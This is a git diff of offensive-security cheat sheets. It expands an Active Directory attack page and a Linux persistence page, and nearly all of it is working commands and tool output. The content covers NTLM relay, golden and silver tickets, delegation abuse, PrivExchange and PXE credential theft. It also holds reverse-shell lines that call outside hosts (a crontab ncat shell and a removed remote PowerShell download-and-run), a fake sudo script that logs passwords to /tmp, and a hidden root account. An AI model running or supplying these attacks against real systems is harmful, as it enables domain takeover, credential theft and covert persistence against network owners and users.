vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner) + +```powershell +python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET' +[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth +[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected) +``` + +- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD + ```powershell + TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local + TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support + TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc + ``` + + +- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server. + ```powershell + # create a new machine account + TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support + TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6 + TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME + + # connect using the ticket + export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache + secretsdump.py -k -no-pass second-dc-server.local -just-dc + ``` + +#### Ghost Potato - CVE-2019-1384 + +Prerequisites: +* User must be a member of the local Administrators group +* User must be a member of the Backup Operators group +* Token must be elevated + +Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip + +```powershell +ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe +``` ### Dangerous Built-in Groups Usage +If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec + AdminSDHolder ```powershell @@ -461,84 +1001,444 @@ SourceName TargetName TrustType TrustDirection domainA.local domainB.local TreeRoot Bidirectional ``` -## Privilege Escalation +### Child Domain to Forest Compromise - SID Hijacking -### PrivEsc Local Admin - Token Impersonation (RottenPotato) +Most trees are linked with dual sided trust relationships to allow for sharing of resources. +By default the first domain created if the Forest Root. -Binary available at : https://github.com/foxglovesec/RottenPotato -Binary available at : https://github.com/breenmachine/RottenPotatoNG +Prerequisite: +- KRBTGT Hash -```c -getuid -getprivs -use incognito -list\_tokens -u -cd c:\temp\ -execute -Hc -f ./rot.exe -impersonate\_token "NT AUTHORITY\SYSTEM" +- Find the SID of the domain + ```powershell + $ Convert-NameToSid target.domain.com\krbtgt + S-1-5-21-2941561648-383941485-1389968811-502 + ``` +- Replace 502 with 519 to represent Enterprise Admins +- Create golden ticket and attack parent domain. + ```powershell + kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt + ``` + +### Unconstrained delegation + +> The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html + +#### Find delegation + +Check the `TrustedForDelegation` property. + +```powershell +# From https://github.com/samratashok/ADModule +PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} + +or + +$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 +grep TRUSTED_FOR_DELEGATION domain_computers.grep ``` +NOTE: Domain controllers usually have unconstrained delegation enabled + +#### Monitor with Rubeus + +Monitor incoming connections from Rubeus. + ```powershell -Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" -Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" -Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" +Rubeus.exe monitor /interval:1 ``` -### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) +#### Force a connect back from the DC -Check if the patch is installed : `wmic qfe list | find "3139914"` +> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface ```powershell -Powershell: -https://www.exploit-db.com/exploits/39719/ -https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 +# From https://github.com/leechristensen/SpoolSample +.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME +.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB +# DC01.HACKER.LAB is the domain controller we want to compromise +# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control. +``` + +If the attack worked you should get a TGT of the domain controller. + +#### Load the ticket -Binary exe : https://github.com/Meatballs1/ms16-032 +Extract the base64 TGT from Rubeus output and load it to our current session. -Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc +```powershell +.\Rubeus.exe asktgs /ticket: /ptt ``` -### PrivEsc Local Admin - MS17-010 (Eternal Blue) +Then you can use DCsync or another attack : `Mimikatz> lsadump::dcsync /user:HACKER\krbtgt` -```c -nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 + +#### Mitigation + +* Ensure sensitive accounts cannot be delegated +* Disable the Print Spooler Service + +### Resource-Based Constrained Delegation + +Resource-based Constrained Delegation was introduced in Windows Server 2012. + +> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html + +1. Import **Powermad** and **Powerview** + + ```powershell + PowerShell.exe -ExecutionPolicy Bypass + Import-Module .\powermad.ps1 + Import-Module .\powerview.ps1 + ``` + +2. Get user SID + + ```powershell + $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid + $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} + $ACE + ConvertFrom-SID $ACE.SecurityIdentifier + ``` + +3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it + + ```powershell + New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) + ``` + +4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties + + ```powershell + $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid + + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} + $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 + $Descriptor.DiscretionaryAcl + ``` + +5. Use Rubeus to get hash from password + + ```powershell + Rubeus.exe hash /password:'Weakest123*' /user:swktest /domain:factory.lan + [*] Input password : Weakest123* + [*] Input username : swktest + [*] Input domain : factory.lan + [*] Salt : FACTORY.LANswktest + [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD + [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 + [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 + [*] des_cbc_md5 : BA297CFD07E62A5E + ``` + +6. Impersonate domain admin using our newly created machine account + + ```powershell + .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt + + [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' + [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) + [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' + [*] Sending S4U2proxy request + [+] S4U2proxy success! + [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan': + + doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD + AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE + LmZhY3RvcnkubGFu + + [*] Action: Import Ticket + [+] Ticket successfully imported! + ``` + +### Relay delegation with mitm6 + +Prerequisites: +- IPv6 enabled (Windows prefers IPV6 over IPv4) +- LDAP over TLS (LDAPS) + +> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it. + +```powershell +git clone https://github.com/fox-it/mitm6.git +cd /opt/tools/mitm6 +pip install . + +mitm6 -hw ws02 -d lab.local --ignore-nofqnd +ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad +then use rubeus with s4u to relay the delegation +``` + +### PrivExchange attack + +Exchange your privileges for Domain Admin privs by abusing Exchange. +:warning: You need a shell on a user account with a mailbox. + + +1. Exchange server hostname or IP address + + ```bash + pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username + ``` + + +2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). + + ```powershell + ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username + ``` + + +3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine. + + ```bash + # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py + python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx + python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange + + # https://github.com/G0ldenGunSec/PowerPriv + powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 + ``` + +4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash + + ```bash + python secretsdump.py xxxxxxxxxx -just-dc + python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm + ``` + +5. Clean your mess and restore a previous state of the user's ACL + + ```powershell + python aclpwn.py --restore ../aclpwn-20190319-125741.restore + ``` + +Alternatively you can use the Metasploit module + +[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420) + +Alternatively you can use an all-in-one tool : Exchange2domain. + +```powershell +git clone github.com/Ridter/Exchange2domain +python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip +python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip +``` + +### PXE Boot image attack + +PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it. + +- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine. +- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry. + + ```powershell + net user hacker Password123! /add + net localgroup administrators /add hacker + ``` + +- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts. + + ```powershell + # Import the module + PS > Import-Module .\PowerPXE.ps1 + + # Start the exploit on the Ethernet interface + PS > Get-PXEcreds -InterfaceAlias Ethernet + PS > Get-PXECreds -InterfaceAlias « lab 0 » + + # Wait for the DHCP to get an address + >> Get a valid IP adress + >>> >>> DHCP proposal IP address: 192.168.22.101 + >>> >>> DHCP Validation: DHCPACK + >>> >>> IP address configured: 192.168.22.101 + + # Extract BCD path from the DHCP response + >> Request BCD File path + >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd + >>> >>> TFTP IP Address: 192.168.22.3 + + # Download the BCD file and extract wim files + >> Launch TFTP download + >>>> Transfer succeeded. + >> Parse the BCD file: conf.bcd + >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim + >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim + >> Launch TFTP download + >>>> Transfer succeeded. + + # Parse wim files to find interesting data + >> Open LiteTouchPE_x86.wim + >>>> Finding Bootstrap.ini + >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ + >>>> >>>> UserID = MdtService + >>>> >>>> UserPassword = Somepass1 + ``` + + +### Impersonating Office 365 Users on Azure AD Connect + +Prerequisites: + +* Obtain NTLM password hash of the AZUREADSSOACC account + ```powershell + mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit + ``` + +* AAD logon name of the user we want to impersonate (userPrincipalName or mail) + ```powershell + elrond@contoso.com + ``` + +* SID of the user we want to impersonate + ```powershell + S-1-5-21-2121516926-2695913149-3163778339-1234 + ``` + + +Create the Silver Ticket and inject it into Kerberos cache: +```powershell +mimikatz.exe "kerberos::golden /user:elrond +/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 +/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd +/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit +``` + +Launch Mozilla Firefox, go to about:config +```powershell +network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com". +``` + +Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER. + + +## Linux Active Directory + +### CCACHE ticket reuse from /tmp + +List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache` + +> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions + +### CCACHE ticket reuse from keyring + +Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey + +```powershell +[root@Lab-LSV01 /]# /tmp/tickey -i +[*] krb5 ccache_name = KEYRING:session:sess_%{uid} +[+] root detected, so... DUMP ALL THE TICKETS!! +[*] Trying to inject in tarlogic[1000] session... +[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache +[*] Trying to inject in velociraptor[1120601115] session... +[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache +[*] Trying to inject in trex[1120601113] session... +[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache +[X] [uid:0] Error retrieving tickets ``` -### From Local Admin to Domain Admin +### CCACHE ticket reuse from keytab ```powershell -net user hacker2 hacker123 /add /Domain -net group "Domain Admins" hacker2 /add /domain +git clone https://github.com/its-a-feature/KeytabParser +python KeytabParser.py /etc/krb5.keytab +klist -k /etc/krb5.keytab ``` +### Extract accounts from /etc/krb5.keytab + +The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. + +Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user. + +```powershell +$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab +[...] +[26] Service principal: host/COMPUTER@DOMAIN + KVNO: 25 + Key type: 23 + Key: 6b3723410a3c54692e400a5862256e0a + Time stamp: Oct 07, 2019 09:12:02 +[...] +``` + +On macOS you can use `bifrost`. + +```powershell +./bifrost -action dump -source keytab -path test +``` + +Connect to the machine using the account and the hash with CME. + +```powershell +$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN" +CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a +``` + + + + ## References -* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html) -* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) -* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) -* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) +* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) +* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) +* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf) +* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence) +* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/) +* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/) +* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html) +* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) +* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE) +* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf) +* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) +* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) * [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) +* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/) +* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/) +* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) +* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) +* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) * [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html) * [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html) -* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) +* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) +* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) +* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) +* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) +* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/) +* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) * [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/) * [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) * [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) * [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) * [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) * [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) -* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) -* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) -* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) -* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) +* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/) +* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/) +* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/) +* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) +* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html) +* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) +* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) +* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) +* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) -* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) -* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) -* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) -* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf) -* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) -* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/) +* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) +* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/) +* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) +* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) +* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592) +* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/) +* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf) +* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials) +* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) +* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic) +* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/) +* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/) \ No newline at end of file diff --git a/Methodology and Resources/Linux - Persistence.md b/Methodology and Resources/Linux - Persistence.md index b5895acc06..f84fc8e57f 100644 --- a/Methodology and Resources/Linux - Persistence.md +++ b/Methodology and Resources/Linux - Persistence.md @@ -1,5 +1,21 @@ # Linux - Persistence +## Summary + +* [Basic reverse shell](#basic-reverse-shell) +* [Add a root user](#add-a-root-user) +* [Suid Binary](#suid-binary) +* [Crontab - Reverse shell](#crontab-reverse-shell) +* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc) +* [Backdooring a startup service](#backdoor-a-startup-service) +* [Backdooring a user startup file](#backdooring-an-user-startup-file) +* [Backdooring a driver](#backdooring-a-driver) +* [Backdooring the APT](#backdooring-the-apt) +* [Backdooring the SSH](#backdooring-the-ssh) +* [Tips](#tips) +* [References](#references) + + ## Basic reverse shell ```bash @@ -8,6 +24,14 @@ ncat --sctp -lvp 4242 ncat --tcp -lvp 4242 ``` +## Add a root user + +```powershell +sudo useradd -ou 0 -g 0 john +sudo passwd john +echo "linuxpassword" | passwd --stdin john +``` + ## Suid Binary ```powershell @@ -19,13 +43,15 @@ chown root:root $TMPDIR2/croissant chmod 4777 $TMPDIR2/croissant ``` -## Crontab (Reverse shell to 192.168.1.2 on port 4242) +## Crontab - Reverse shell ```bash (crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null ``` -## Backdooring an user's bash_rc (FR/EN Version) +## Backdooring a user's bash_rc + +(FR/EN Version) ```bash TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0" @@ -41,6 +67,26 @@ fi rm /tmp/$TMPNAME2 ``` +or add the following line inside its .bashrc file. + +```powershell +$ chmod u+x ~/.hidden/fakesudo +$ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc +``` + +and create the `fakesudo` script. + +```powershell +read -sp "[sudo] password for $USER: " sudopass +echo "" +sleep 2 +echo "Sorry, try again." +echo $sudopass >> /tmp/pass.txt + +/usr/bin/sudo $@ +``` + + ## Backdooring a startup service ```bash @@ -48,9 +94,9 @@ RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c 